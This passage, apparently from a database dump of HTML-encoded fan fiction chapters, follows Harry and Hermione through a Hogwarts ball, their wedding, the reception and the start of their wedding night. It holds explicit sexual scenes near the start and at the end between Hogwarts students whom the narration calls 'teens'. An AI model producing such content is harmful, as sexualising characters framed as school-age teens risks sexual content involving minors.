wouldn&#8217;t do something about it?&#8221;</p>\n\n<p>&#8220;Well&#8230;I&#8230;I figured you could at least wait a little while,&#8221; she huffed.</p>\n\n<p>Harry grinned and squeezed her breasts.</p>\n\n<p>&#8220;Sorry, angel, I can&#8217;t resist this sweet, little body of yours.&#8221;</p>\n\n<p>&#8220;You letch!&#8221; she teased but kissed him softly.</p>\n\n<p>&#8220;Me!&nbsp; Who&#8217;s the prissy nymph who decided not to wear underwear tonight, hmm?&#8221;</p>\n\n<p>&#8220;I&#8217;m not prissy!&#8221; Hermione chided.</p>\n\n<p>&#8220;Sure you are, love, it&#8217;s part of your charm,&#8221; Harry replied with a grin.</p>\n\n<p>She rolled her eyes and extradited herself from his lap, as Harry stood up to give her a hand.</p>\n\n<p>After spending twenty minutes cleaning each other up, the two lovers finally made it to the Great Hall.&nbsp; The dance was already in full swing, and Ron and Lavender came over to greet them.</p>\n\n<p>&#8220;Where have two been?&nbsp; We left you guys like half an hour ago!&#8221; Ron gawked.</p>\n\n<p>Harry took one look at Hermione, and they both leered at one another.</p>\n\n<p>&#8220;You didn&#8217;t!&#8221; Lavender gasped.</p>\n\n<p>&#8220;I&#8217;m not saying a word,&#8221; Harry replied.</p>\n\n<p>&#8220;Neither am I,&#8221; Hermione added.</p>\n\n<p>&#8220;Don&#8217;t you two ever get tired of each other?&#8221; Ron groaned and slapped his forehead.</p>\n\n<p>Harry grinned and slid his arms around his fianc&#233; from behind.</p>\n\n<p>&#8220;Nope, I&#8217;ll never get tired of my beautiful bookworm.&#8221;</p>\n\n<p>Hermione rolled her eyes and elbowed him softly in the ribs.&nbsp; As punishment, she pulled him out onto the dance floor.&nbsp; It was a slow song so she knew that Harry wouldn&#8217;t mind this.</p>\n\n<p>Indeed, he spun her around and pulled her close.&nbsp; His hands rested on her hips, and they began swaying to the soft music.&nbsp; The rest of the night passed in a blur as the couple stared into one another&#8217;s eyes.&nbsp; This was so familiar to them both, and yet, they were drowning in the sensations invoked by their closeness.</p>\n\n<p>The evening was perfect for them.&nbsp; Their meal was even more spectacular than normal, and Hermione squealed when she saw the massive assortment of desserts that were made available to them.</p>\n\n<p>By the end of the night, everyone was full, happy, and a few were a little tipsy from the butterbeer that had been allowed at the dance.&nbsp; Ron and Lavender were finishing their last dance, while Harry and Hermione had left about half an hour earlier.</p>\n\n<p>&#8220;Lavender&#8230;you look beautiful tonight&#8230;&#8221; he murmured and ran his hand down the open back of her dress.</p>\n\n<p>&#8220;Thank you, Ronald, you look wonderful as well,&#8221; she cooed and rubbed the back of his neck affectionately.</p>\n\n<p>They&#8217;d both had quite a bit to drink tonight, and it was making their inhibitions for each other even less than normal.&nbsp; Lavender suddenly gave him a smoldering kiss, and Ron felt his arousal soar to dangerous heights.</p>\n\n<p>&#8220;Lavender&#8230;I love you, and I want to do this right&#8230;but&#8230;right now&#8230;I want you more than anything.&#8221;</p>\n\n<p>&#8220;Do you now?&#8221; she replied and smiled widely; she&#8217;d been waiting for this moment.</p>\n\n<p>&#8220;Yes, I just wish that we had a quiet place for us to be alone.&#8221;</p>\n\n<p>&#8220;Oh&#8230;but we do, my darling.&nbsp; Harry and Hermione won&#8217;t need both their rooms this evening; I&#8217;m most certain of that.&nbsp; Now, come on.&#8221;</p>\n\n<p>Ron let himself be pulled upstairs and towards his friends&#8217; room.&nbsp; Lavender opened the portrait hole with the temporary password that Hermione had given her.&nbsp; She&#8217;d really owe her one after this.&nbsp; She kissed her beloved redhead and pulled him towards the staircase.</p>\n\n<p>&#8220;Lavender&#8230;did you&#8230;plan this&#8230;&#8221; he groaned between kisses.&nbsp; She wiggled her eyebrows at him.</p>\n\n<p>&#8220;Maybe&#8230;come get me and find out&#8230;&#8221; and she bolted up towards Harry&#8217;s room.</p>\n\n<p>Ron chased after her and followed her into the bedroom.&nbsp; He was stunned to see candles suspended all around the room, and the bed was turned down.&nbsp; Lavender was standing in front of the bed with a seductive smile on her face, and she handed him a note.</p>\n\n<p>Upon opening it, Ron gawked at the words inside:</p>\n\n<p>Hey Ron,</p>\n\n<p>The place is yours for tonight, but make sure you clean up your mess!&nbsp; Have fun!</p>\n\n<p>Love,</p>\n\n<p>Harry and Hermione</p>\n\n<p>He wanted to crawl into a hole and die; he&#8217;d been set up!</p>\n\n<p>&#8220;Oh Ronald&#8230;&#8221; his mind cleared to hear Lavender calling him.</p>\n\n<p>She sauntered over and kissed him hungrily.&nbsp; Her hands began undoing his robes, and he began to shake.</p>\n\n<p>&#8220;You&#8217;ve been wonderful to me this year, Ron, and I know that you love me.&nbsp; This night is ours; I want you to make love to me right now.&#8221;</p>\n\n<p>All he heard was her last sentence.&nbsp; Like a volcano erupting, he proceeded to plunder her mouth and pulled her flush against his body.</p>\n\n<p>&#8220;Hmm, Ron, is that a wand in your pocket, or are you just happy to see me?&#8221; she purred.</p>\n\n<p>His smile was positively fickle, and he kicked the door shut.</p>\n\n<p>&#8220;Let&#8217;s find out, love,&#8221; and he pulled her down onto the bed.</p>\n\n<p>Over in the other bedroom, Harry stopped his movements as he heard his door slam shut, and a sly grin formed on his face.</p>\n\n<p>&#8220;Harry&#8230;what&#8217;s wrong?&#8221; Hermione moaned from atop him.&nbsp; He looked up at the woman riding him and chuckled.</p>\n\n<p>&#8220;Sounds like the plan worked, Herm.&nbsp; Ron has no idea what Lavender&#8217;s going to do to him; my room is gonna be trashed tomorrow.&#8221;</p>\n\n<p>&#8220;But they deserve this, Harry, you know that.&#8221;</p>\n\n<p>Her eyes narrowed, and she clenched her muscles around him.</p>\n\n<p>&#8220;Just like I deserve to have you get back to pleasing me.&nbsp; That is, if you&#8217;re up to it, Mr. Potter,&#8221; she giggled.</p>\n\n<p>Hermione gasped as he suddenly thrust deep inside her.</p>\n\n<p>&#8220;I&#8217;m more than up to it, Mrs. Potter.&nbsp; I&#8217;m yours for the night, angel.&#8221;</p>\n\n<p>&#8220;Good&#8230;cause I&#8217;m yours for the rest of your life.&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; I&#8217;d like to thank everyone to thank everyone who has stuck by me throughout this story.&nbsp; I know that a lot of you were upset at me for taking so long in doing the last few chapters, but I love this series so much, and I didn&#8217;t want to ruin it by just throwing out a bunch of crap.&nbsp; I&#8217;d say that they&#8217;ll probably be two or maybe three more chapters to this, but I promise&#8230;next time&#8230;it&#8217;s time for the wedding!</p> '),
	(244, 25, ' <p>A week had passed by since their last ball at Hogwarts, and the famous trio was gearing up for one final adventure.&nbsp; It was finally time for Harry and Hermione&#8217;s wedding.</p>\n\n<p>No one knew about this except for those that the couple had specifically told.&nbsp; After the disaster at the end of the school year, the press had assumed the pair would wait awhile before holding their ceremony, and in turn, they had left them alone.&nbsp; It worked out perfectly for Harry and Hermione, since they wanted a small ceremony.</p>\n\n<p>Outside the main gates, a small seating area had been assembled.&nbsp; The guests were only those personally close to the happy couple.&nbsp; Dean and Seamus were sitting next to Parvati in the first row.&nbsp; McGonagall and the other professors had all been invited, and each of them had showed up &#8211; even Snape.&nbsp; Hagrid stood in the back where his towering frame could easily see and make sure that everything was perfect.</p>\n\n<p>Dumbledore stood at the head of the assembly where a long, white silk sheet split the audience.&nbsp; It ended in a beautifully made wooden archway that Professor Sprout had covered with a plethora of blossoms that continuously opened and closed every thirty seconds.</p>\n\n<p>Melinda Granger sat in the first row on the left hand side and gazed around at the quaint but gorgeous setting.&nbsp; Tears formed in her eyes as she thought about how her daughter would have wanted this type of wedding.&nbsp; It was small but meaningful, and Hermione had never been one for big extravagance nor had Harry.&nbsp; There wasn&#8217;t a cloud in the sky, and it was pleasantly warm but not overbearingly hot.&nbsp; Melinda turned her eyes to her future son-in-law who was standing in front of Dumbledore.</p>\n\n<p>Harry was fidgeting restlessly with his robes, and Ron poked him in the ribs for the fifth time.&nbsp; He chuckled at his best friend and smiled widely.</p>\n\n<p>&#8220;What&#8217;s wrong, Harry, you look like you&#8217;re about to face Voldemort all over again.&#8221;</p>\n\n<p>&#8220;I&#8217;m okay, Ron, it&#8217;s just that I want this day to be perfect for Hermione.&nbsp; I keep thinking that something horrible is going to happen,&#8221; he groaned.</p>\n\n<p>&#8220;Don&#8217;t worry, mate, nothing&#8217;s gonna happen.&nbsp; Do you honestly think that anyone would dare face yours or worse Hermione&#8217;s wrath for ruining your wedding?&#8221;</p>\n\n<p>&#8220;Very funny, Ron.&#8221;</p>\n\n<p>Laughter behind the redhead drew Harry&#8217;s attention, and he looked to see Remus and Sirius trying not to fall over laughing.</p>\n\n<p>&#8220;Thanks a lot, you two, some friends you are,&#8221; Harry growled and crossed his arms.</p>\n\n<p>&#8220;Relax Harry, you look just like your father did the day he married Lily.&nbsp; He couldn&#8217;t stand still for five minutes.&nbsp; He was so out of it that he almost didn&#8217;t notice when she walked down the aisle.&nbsp; I still remember having to nudge him to accept her hand from her father&#8217;s,&#8221; Sirius chuckled.</p>\n\n<p>&#8220;Well, even I&#8217;m not that pathetic,&#8221; his godson answered.</p>\n\n<p>True to his word, Harry snapped to attention when the music changed to the wedding march.&nbsp; He&#8217;d asked the Weird Sisters at the final ball if they would be interested in playing at his wedding, and they had heartily agreed.&nbsp; They&#8217;d even offered to perform for free, but he&#8217;d quickly declined their offer.</p>\n\n<p>Hermione was just as nervous as Harry was while her father led her towards the back of the assembly.&nbsp; She, like him, wanted this day to be perfect.&nbsp; She&#8217;d even worn flat shoes so that she didn&#8217;t break a heel when she walked down the aisle.</p>\n\n<p>&#8220;Sweetie, what&#8217;s wrong?&nbsp; You&#8217;ve been gnawing on your lip for the past ten minutes,&#8221; John Granger said with a slight grin. &nbsp;His daughter blushed and lowered her head.</p>\n\n<p>&#8220;I&#8217;m sorry, Dad, but fate has an annoying way of picking on Harry and I.&nbsp; Just once, I want the gods of irony to lay off us for a day.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Everything will be fine, Hermione.&nbsp; If anything, I&#8217;m the one who should be nervous; today&#8217;s my little girl&#8217;s wedding day.&nbsp; As a father, I&#8217;d have preferred you to have rather normal life, whatever that is, but I see how happy you are with Harry, and I couldn&#8217;t wish anything better for you.&#8221;</p>\n\n<p>&#8220;Father&#8230;thank you,&#8221; Hermione sighed and blinked back her tears.&nbsp; Her father kissed her cheek and clutched her arm a little bit tighter.</p>\n\n<p>&#8220;Come on, your husband is waiting for you.&#8221;</p>\n\n<p>Harry was running over the ceremony in his head for the thousandth time.&nbsp; His mind was on overdrive until he saw her.&nbsp; Time stopped as he stared at his angel.&nbsp; She was wearing the same wedding dress he&#8217;d seen a week ago, but he hadn&#8217;t gotten a good look at it until now.&nbsp; It flowed down her body conservatively, but it accentuated all the right places.&nbsp; Her hair and veil were a little more elaborate since she hopefully wouldn&#8217;t have to fight at this ceremony.</p>\n\n<p>John Granger stepped forward, but Hermione tugged on his arm to hold him back.&nbsp; He looked at his daughter curiously, but her eyes were fixed on the young man waiting for her.</p>\n\n<p>&#8216;I love you,&#8217; she mouthed to him, and her eyes shown were the brilliance of a small star.</p>\n\n<p>Harry stared right back into those shining spheres, and his body unconsciously began emitting magical energy.</p>\n\n<p>John Granger gasped slightly as he felt his feet leave the ground.&nbsp; Hermione&#8217;s feet did the same, and they hovered a few inches off the embroidered walkway.&nbsp; Out of nowhere, the pair began to advance down the aisle, moving on thin air.&nbsp; John was shocked to say the least, but he noticed that his daughter&#8217;s eyes never left Harry.&nbsp; It was almost as if their love for each other was drawing her down the aisle towards him.</p>\n\n<p>Arriving in front of the archway, Hermione and her father returned to the ground and only then did her eyes leave Harry&#8217;s.&nbsp; She heard a slight snickering and looked to see Lavender and Ginny grinning widely at her.&nbsp; She winked at her bridesmaids and turned back to Harry.</p>\n\n<p>John stepped forward and offered the young wizard his daughter&#8217;s hand.&nbsp; Harry took it and bowed slightly to the older man, showing him respect and appreciation for what he offered.&nbsp; John nodded his head and stepped back to take a seat beside his wife.</p>\n\n<p>Harry and Hermione turned to face Dumbledore, and the older man stepped forward with his typical half-smile on his face.</p>\n\n<p>&#8220;I welcome you all here today to witness this grand event.&nbsp; It has been my pleasure to know this fine, young couple for several years, and I hope many more to come in the near future.&nbsp; In all my years, I have never scene quite a pair such as you two,&#8221; he chuckled, and several members of the audience joined him.</p>\n\n<p>Harry threw a slight glare at his mentor and rolled his eyes; he had a feeling that Dumbledore was going to say something like that.</p>\n\n<p>&#8220;The two of you have accomplished more that anyone your age could hope to achieve, and that is due to the love that you share.&nbsp; The two of you hold a great power within you, and I pray that it remains with you for the rest of your days.&nbsp; You bring out the best in one another, and that is what being in love is all about.&nbsp; As per their request, the bride and groom wish to say their vows.&#8221;</p>\n\n<p>Ron and Lavender stepped closer to their friends, and both of them held up a blue silk pillow, which each held a beautiful golden ring.</p>\n\n<p>Harry and Hermione turned towards one another, and time stopped once more.&nbsp; They knew what they would say; it came straight from their hearts.&nbsp; Harry reached out and placed his right hand on top of her heart; Hermione, likewise, did the same thing and placed her right hand on top of his heart.&nbsp; The couple stared at one another and spoke as one:</p>\n\n<p>My heart to yours, now and always</p>\n\n<p>Our souls become one, now and forever</p>\n\n<p>My spirit shall never leave you, in this life or the next</p>\n\n<p>Today, tomorrow, and for all of eternity </p>\n\n<p>My lips shall only say one name in love</p>\n\n<p>Harry</p>\n\n<p>Hermione</p>\n\n<p>The couple raised their left hands, and their fingers entwined.&nbsp; The rings disappeared off the pillows that Ron and Lavender were holding, and they appeared on their friends&#8217; ring fingers.&nbsp; A white light enveloped the pair, and it lit up the entire castle of Hogwarts.&nbsp; The guests were nearly blinded by the intense aura emanating from the happy couple.</p>\n\n<p>Dumbledore&#8217;s eyes had widened as he listened to the words that the two teens spoke.&nbsp; Those were not just words but a spell.&nbsp; It was called a Soul Binding; it essentially bound the life force of the two together into one.&nbsp; However, it was dangerous to try, if either one had even the slightest doubt in their heart of wanting to be with the other, the spell could kill both of them.&nbsp; Even when it was successful, there was one other side effect.&nbsp; By merging their life forces together, it meant that when one of them died so would the other.&nbsp; Dumbledore had never even seen one done before; it was the greatest expression of love two wizards could make for one another.&nbsp; He had no idea that Harry and Hermione would attempt it &#8211; let alone be so successful as to light up the entire grounds.</p>\n\n<p>Harry didn&#8217;t wait for Dumbledore to tell him; he pulled Hermione into his arms and kissed her more passionately than he ever had.&nbsp; She clung to him desperately, and cheers rang up from around the audience.&nbsp; Dumbledore grinned widely and took his leave to let the happy couple have their moment, but not before doing one last thing.</p>\n\n<p>&#8220;Ladies and gentlemen, I present to you, Harry and Hermione Potter!&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; Well everybody, I promised you the wedding, and I hope you like it.&nbsp; I will definitely do at lease one more chapter, but I&#8217;m not sure whether or not to do epilogue or something.&nbsp; We&#8217;ll see what happens.</p> '),
	(244, 26, ' <p>A thunderous ovation erupted from the audience as the married couple dashed back down the aisle.&nbsp; Rice flew at them from all directions, and Ron laughed at finally seeing his two best friends tie the knot.</p>\n\n<p>Harry and Hermione were directed toward the Great Hall where their reception had been arranged.&nbsp; Their friends and family followed closely after them.</p>\n\n<p>&#8220;Sweet Merlin!&#8221; Harry gasped as he gawked at the Great Hall.</p>\n\n<p>There were floral arrangements hung through the entire hall, and he was pleased to see that there were two Gryffindor banners hung on the side wall, signifying their house colors.&nbsp; He hadn&#8217;t really been involved in choosing the d&#233;cor for their reception; he&#8217;d left that up to Hermione and her mother.&nbsp; However, he couldn&#8217;t argue with their sense of taste; he hoped that someday she&#8217;d show the same skill in their home.</p>\n\n<p>Hagrid greeted them as the Master of Ceremonies, and he directed them to a long, mahogany table at the front of the Great Hall.&nbsp; Harry noticed that the tables were arranged around a large circular area that he knew would soon turn into a dance floor.</p>\n\n<p>He guided his wife to their seats and helped her remove the elaborate veil covering her hair.&nbsp; She handed it to a nearby house elf and thanked the servant warmly.&nbsp; Harry held out her chair for her, and Hermione blushed slightly at his chivalrous action.&nbsp; He took a seat beside her and clasped her left hand in his.&nbsp; Harry&#8217;s lips brushed her fingertips, and Hermione felt herself drowning in the emerald depths of his eyes.</p>\n\n<p>John and Melinda Granger arrived and took a seat next to their daughter, while Sirius took a seat beside Harry.&nbsp; Ron and Lavender sat down at the table next to the main one as well as Ginny, Hagrid, Professor McGonagall, and Professor Dumbledore.</p>\n\n<p>Harry was happy that all of his friends and Hermione&#8217;s parents were here to celebrate with them, but&#8230;deep in his heart&#8230;he felt an emptiness.&nbsp; The only thing that would make this day perfect is if his parents could have been here to see it.</p>\n\n<p>&#8216;Mom&#8230;Dad&#8230;I hope you&#8217;re glad with the way this turned out.&#8217;</p>\n\n<p>He felt something tug at the back of his mind, and his eyes fixed on the entrance to the Great Hall.&nbsp; All the guests had already entered, but he could clearly see two people standing in the doorway.&nbsp; His eyes widened as he saw two glowing figures standing in the doorway.</p>\n\n<p>&#8216;MOM&#8230;DAD!&#8217; he&#8217;d almost shouted out loud.</p>\n\n<p>His mother smiled warmly at him, and his father nodded his head in approval.</p>\n\n<p>&#8216;Your wedding was lovely, Harry, and yes, we were there to see it,&#8217; his mother stated.</p>\n\n<p>Harry heard her words but knew that they were being said to no one but him.</p>\n\n<p>&#8216;We&#8217;re very proud of you, son, so don&#8217;t have anymore regrets about us,&#8217; his father said firmly.</p>\n\n<p>&#8216;Your life is your own now, Harry.&nbsp; Live a full and rich life; that is how you can best honor our memory.&nbsp; Besides, I wouldn&#8217;t mind seeing a few grandchildren in the future,&#8217; his mother laughed.</p>\n\n<p>&#8216;Don&#8217;t worry, that&#8217;s one area where I won&#8217;t let you down.&nbsp; Thank you for coming today; I promise not to have anymore regrets.&#8217;</p>\n\n<p>&#8216;That&#8217;s good, son.&nbsp; We wish you and Hermione a long and happy life together,&#8217; his father said with a warm smile.</p>\n\n<p>Wrapping his arm around Lily&#8217;s shoulders, James smiled at his son and then down at his wife.&nbsp; Lily did the same, and the pair slowly faded away.</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>He felt someone poking him in the side and turned to see Hermione staring at him worriedly; Sirius was also looking at him strangely.</p>\n\n<p>&#8220;You alright, boy, you&#8217;ve looked out of it for the last ten minutes!&#8221;</p>\n\n<p>&#8220;Yes, everything&#8217;s all right now,&#8221; Harry replied a bright smile.&nbsp; He looked at his wife and clutched her hand again.</p>\n\n<p>A clinking of glasses drew their attention, and Harry saw that Ron was the one who started it.</p>\n\n<p>&#8216;I knew that git was gonna cause trouble, but it&#8217;s not like I&#8217;m not gonna enjoy this,&#8217; Harry chuckled silently.</p>\n\n<p>&#8220;Hey!&#8221; Hermione gasped as she was suddenly hauled out of his seat and right into Harry&#8217;s lap.</p>\n\n<p>His grin was huge, and his wiggled his eyebrows at her.&nbsp; She just rolled her eyes and wrapped her arms around his neck.&nbsp; Harry pulled her close and devoured her mouth.</p>\n\n<p>Ron led the charge of catcalls and whistles coming from the audience, and Fred and George followed along from their own table.</p>\n\n<p>After a good five minutes of heavy snogging, Harry heard Sirius clear his throat, and he reluctantly released Hermione&#8217;s mouth.&nbsp; She huffed indignantly and nuzzled his neck.</p>\n\n<p>&#8220;Do we have to stay here?&#8221; she whispered into his ear.</p>\n\n<p>&#8220;Unfortunately,&#8221; he growled.</p>\n\n<p>Nodding her head in defeat, Harry lifted her off his lap and back into her own seat.&nbsp; Everyone nearby was chuckling slightly at the newlyweds, including Hermione&#8217;s parents.&nbsp; Harry glared across the room, but he couldn&#8217;t help laughing himself.</p>\n\n<p>The house elves truly outdid themselves with a wondrous meal.&nbsp; It was better than anything Harry and Hermione had ever had at Hogwarts in the past.&nbsp; The extravagant banquet was topped off by a magnificent cake that Dobby and Winky brought in themselves.&nbsp; They were levitating it in the middle of the dance floor and gestured for the happy couple to join them.</p>\n\n<p>Harry escorted his wife to their station, and Winky handed her a cutting knife.&nbsp; Hermione took the offered utensil and cut out a slice for her husband.&nbsp; She was tempted to mash it into his face but took pity on him since they wouldn&#8217;t be leaving for a while.&nbsp; She offered the piece to Harry, and he opened his mouth so she could feed him.&nbsp; Then, it was his turn as he offered Hermione her own slice.&nbsp; She happily accepted the sweet dessert and licked his fingers clean right along with it.&nbsp; A low growl from her beloved signified just how much he&#8217;d loved that little gesture from her.&nbsp; Harry yanked her into his arms and kissed the breath from her lungs, while licking off the residual icing from her lips in the process.</p>\n\n<p>&#8220;Hmm, best dessert I&#8217;ve ever had,&#8221; Hermione cooed at him.</p>\n\n<p>&#8220;I&#8217;d have to say it was the second best I&#8217;ve ever had&#8230;&#8221; he trailed off and nuzzled her ear.</p>\n\n<p>&#8220;&#8230;I much prefer having you for dessert, my angel.&#8221;</p>\n\n<p>Hermione&#8217;s face turned crimson red, and their friends chuckled as they wondered just what Harry had said to her.</p>\n\n<p>The feasting lasted most of the day, and it was quickly approaching sunset.&nbsp; It was then that Ron Weasley rose from his seat and clinked his glass for the room to quiet down.</p>\n\n<p>&#8220;Although I&#8217;m not very good at making speeches, I will do my best for my two best friends.&nbsp; There is a part of me that&#8217;s sad that it won&#8217;t be just the three of us anymore, but I also know that while we may be losing a part of our past, we are also looking forward to a bright future&#8230;&#8221; and he clutched Lavender&#8217;s hand in his.</p>\n\n<p>&#8220;Harry&#8230;Hermione&#8230;I have never known two other people in my lifetime who are like the two of you.&nbsp; You two go together like pieces of a puzzle.&nbsp; Your shape and design are different, and yet you compliment each other perfectly.&nbsp; I can still remember that skinny young man and bushy-haired little know it all that I met on the Hogwarts Express all those years ago.&#8221;</p>\n\n<p>&#8220;And we remember the red-haired menace!&#8221; Hermione interrupted making them all laugh.</p>\n\n<p>&#8220;We&#8217;ve had so many adventures together, and now, you two are starting another adventure by yourselves.&nbsp; You bring out the best in one another, and I wish you both a long and happy life together&#8230;&#8221; Ron paused and raised his glass.</p>\n\n<p>&#8220;&#8230;To the smartest witch of our age and the best damn seeker in Hogwarts history!&#8221;</p>\n\n<p>&#8220;To Harry and Hermione!&#8221; everyone&#8217;s voices rang.</p>\n\n<p>The couple&#8217;s eyes were moist as they listened to their friend&#8217;s heartfelt words, and Harry rose to his feet.</p>\n\n<p>&#8220;I thank you all for being here with us today.&nbsp; I remember growing up and not having much of a family &#8211; let alone knowing what that word actually meant.&nbsp; But now, as I stand here in front of all of you, I could spend hours recalling my times with each and every one of you.&nbsp; One thing I&#8217;ve learned since Hagrid came to find me seven years ago is that a family is not always related by blood&#8230;&#8221;</p>\n\n<p>Harry&#8217;s eyes scanned the room from one table to the next &#8211; the Weasleys, Seamus, Parvati, Tom Hutchinson, Snape (Harry was shocked he&#8217;d even come.), Mad Eye Moody, Remus Lupin, Ginny, Fred, George, McGonagall, Dumbledore, Hagrid, Lavender, Ron, John and Melinda Granger, Sirius, and finally Hermione.</p>\n\n<p>&#8220;&#8230;My family is in this room, and I&#8217;m proud to have known each and every one of you.&#8221;</p>\n\n<p>After a few teary-eyed minutes, the Weird Sisters began to play, and Hermione nudged her husband.&nbsp; She nodded her head toward the dance floor, and he gulped slightly.</p>\n\n<p>&#8220;Bloody hell, all right.&#8221;</p>\n\n<p>Hermione led him out to the center of the floor, and the Weird Sisters began playing a slow, romantic ballad.&nbsp; Harry took her in his arms and slowly followed her lead.&nbsp; Hermione guided him through the first few steps when Harry suddenly gave her a big smile.&nbsp; He quickly released her and spun her out away from him.&nbsp; Hermione&#8217;s eyes widened as she watched her husband practically glide across the floor to her.</p>\n\n<p>&#8220;May I have this dance, Mrs. Potter?&#8221; and he extended his hand to her.</p>\n\n<p>&#8220;It would be my pleasure, Mr. Potter.&#8221;</p>\n\n<p>Harry tugged her towards him, and she spun around before landing back in his arms.&nbsp; He twirled her around the floor without showing any of his usual clumsiness.</p>\n\n<p>&#8220;Harry, you learned to dance?&#8221; his wife gasped with cloudy eyes.</p>\n\n<p>&#8220;What do you think I&#8217;ve been doing this entire week?&#8221;</p>\n\n<p>He kissed her before she could respond, and Hermione buried herself in his chest.&nbsp; Harry waved his hands at his friends, and slowly, other couples made their way onto the floor.</p>\n\n<p>Ron and Lavender were swirling around the floor, Ginny was getting a kick out of dancing on top of Hagrid&#8217;s feet as he practically stomped around the floor, and even Dumbledore convinced Minerva to join him for a dance.</p>\n\n<p>Melinda Granger watched her daughter&#8217;s face glow with happiness as she danced, and her husband held out his hand to her.</p>\n\n<p>&#8220;Shall we join our daughter and son, dear?&#8221;</p>\n\n<p>&#8220;Of course.&#8221;</p>\n\n<p>Hermione was overwhelmed with joy as she danced with her beloved.&nbsp; He really had made sure that this day was perfect for her, and she loved him for it.</p>\n\n<p>&#8220;Harry&#8230;&#8221;</p>\n\n<p>&#8220;Yes, angel, what is it?&#8221; he murmured into her hair.&nbsp; She looked into his shining, green eyes and let her heart speak for her.</p>\n\n<p>&#8220;I love you, Harry Potter.&#8221;</p>\n\n<p>&#8220;And I love you, Hermione Potter.&#8221;</p>\n\n<p>Their lips came together and sealed their proclamation as they danced among their friends and family.</p>\n\n<p>Author&#8217;s Notes:&nbsp; I know you guys are probably wondering why I left this chapter rather short.&nbsp; Well, I could&#8217;ve added another part to this, but then, it would have taken at least another week to get it written, and everyone&#8217;s been begging to get out the next chapter.&nbsp; Sorry this took four months, but it&#8217;s all about to come down to one final chapter.</p> '),
	(244, 27, ' <p>The sun was beginning to set by the time Harry and Hermione were finally allowed to leave their reception.&nbsp; Their friends all wished them well, and Ron threw in a comment about them not even wanting to wear clothes on their honeymoon.&nbsp; He&#8217;d received a playful slap from Hermione and a firm jab in the ribs by Lavender.&nbsp; Hermione hugged her parents goodbye, and Melinda pulled Harry into her arms.</p>\n\n<p>&#8220;Make sure you call us in a few days, all right?&#8221; she asked with tears in her eyes.</p>\n\n<p>&#8220;Don&#8217;t worry, we will&#8230;mom,&#8221; Harry replied with a wide smile.</p>\n\n<p>Hermione rejoined her beloved, and he wrapped his arms around her.</p>\n\n<p>&#8220;Ready, angel?&#8221;</p>\n\n<p>&#8220;Always.&#8221;</p>\n\n<p>Harry tightened his arms around his bride, and with a twitch of his eye, they disapparated.</p>\n\n<p>&#8220;Melinda?&#8221;</p>\n\n<p>She turned to see her husband wrap his arms around her waist.</p>\n\n<p>&#8220;Why did you ask him that?&nbsp; You know it&#8217;s not gonna happen.&#8221;</p>\n\n<p>&#8220;What do you mean, John?&#8221; Her husband grinned widely at her.</p>\n\n<p>&#8220;Don&#8217;t you remember, sweetheart, your mother asked me the exact same thing, and if I remember correctly, it was at least two weeks before you talked to her,&#8221; he said with a rather smug smile.</p>\n\n<p>Melinda Granger blushed at her husband&#8217;s comments, and Ron and Lavender giggled next to them.</p>\n\n<p>&#8220;Don&#8217;t worry, Mrs. Granger, it won&#8217;t be two weeks,&#8221; Lavender said happily.&nbsp; Ron stepped up next to her with a wry grin on his face.</p>\n\n<p>&#8220;Not at all.&nbsp; With those two, I&#8217;d say it&#8217;ll be at least a month maybe two before we hear from them again,&#8221; he snickered.</p>\n\n<p>Harry apparated the two of them into a large bedroom.&nbsp; Hermione&#8217;s eyes widened as she took in the gorgeous surroundings.&nbsp; There was a huge four-poster bed that had a sheer linen curtain hanging across the top of it.&nbsp; A large fireplace rested against the adjacent wall, and Hermione could imagine snuggling against Harry by the fire on a cold winter night.&nbsp; She could see a cherry wood nightstand to the right of the bed, and a matching dresser was on the opposite wall.&nbsp; The bed was already turned down, and the fireplace roared to life with a snap of Harry&#8217;s fingers.</p>\n\n<p>&#8220;Harry, where are we?&#8221;</p>\n\n<p>He smiled and turned her around.&nbsp; Hermione then noticed the large mirror attached to the top of the dresser.&nbsp; She could see their reflection from their hips on up, and Harry wrapped his arms around her.&nbsp; It was amazing how good the two of them looked together.</p>\n\n<p>&#8220;Don&#8217;t worry about that, angel, you&#8217;ll find out tomorrow.&nbsp; Right now, I want to spend the rest of this wonderful night making my wife scream my name over and over again.&#8221;</p>\n\n<p>As he spoke, Harry&#8217;s finger traveled down her spine, undoing the pearl catches that held her dress in place.&nbsp; He quickly pulled of his jacket and tie and slid the dress off Hermione&#8217;s shoulders.&nbsp; It fell into a pool at her feet, and Harry growled at seeing the lacy, white lingerie he found her wearing.&nbsp; After divesting himself of his shirt, Harry pressed himself up against his wife&#8217;s back.</p>\n\n<p>&#8220;Hermione, you&#8217;re beautiful and sexy, and&#8230;you&#8217;re all mine!&#8221;</p>\n\n<p>She made a move to turn towards him, but he stopped her.</p>\n\n<p>&#8220;Not yet, just watch me for a while.&#8221;</p>\n\n<p>His nimble fingers undid the catch on the bra that was straining to contain her breasts.&nbsp; After sliding the lingerie off her body, Harry slid his hands up her sides and cupped the firm mounds.</p>\n\n<p>&#8220;Hermione&#8230;you have such beautiful breasts&#8230;absolutely perfect.&#8221;</p>\n\n<p>He looked at her reflection and saw her face turn beet red at his blatant compliment.&nbsp; One hand left its appetizing bundle and moved down to slide off her underwear.&nbsp; A minute later, Harry was naked as she was, 